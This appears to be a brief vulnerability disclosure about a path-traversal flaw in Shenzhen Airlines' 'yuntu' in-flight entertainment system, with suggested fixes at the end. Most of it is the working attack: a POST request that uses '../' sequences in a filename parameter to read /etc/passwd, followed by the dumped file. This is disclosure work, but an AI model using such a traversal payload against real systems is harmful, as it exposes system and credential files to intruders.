Arbitrary File Reading from a system on Shenzhen Airlines

Arbitrary File Reading from a system on Shenzhen Airlines

The new cabin entertainment platform "yuntu" launched by Shenzhen Airlines has a vulnerability.
Introduction:
Http://digi.163.com/13/0412/18/8S9GGMJE001664LU.html

Vulnerability url:

Http: // 192.168.2.99/bookReader. php

Post Parameters

Id = 1000641 & filename = .. /.. /.. /.. /.. /.. /.. /etc/passwd & m_code = m_0206 & margintop = 0 & classify =

 

/Etc/passwd


 

root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindistcache:x:94:94:Distcache:/:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinapache:x:48:48:Apache:/var/www:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinwebalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologinsquid:x:23:23::/var/spool/squid:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinavahi:x:70:70:Avahi daemon:/:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinhsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinavahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologinxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologingdm:x:42:42::/var/gdm:/sbin/nologinsabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologinupdate:x:500:500::/usr/donica/update/system:/bin/bashsyslog:x:501:501::/usr/donica/ftp/log:/bin/bashnamed:x:25:25:Named:/var/named:/sbin/nologin

 

Solution:

1. filter input parameters to prevent upper-level directory jump

2. Restrict File Read Permissions

3. Deploy WAF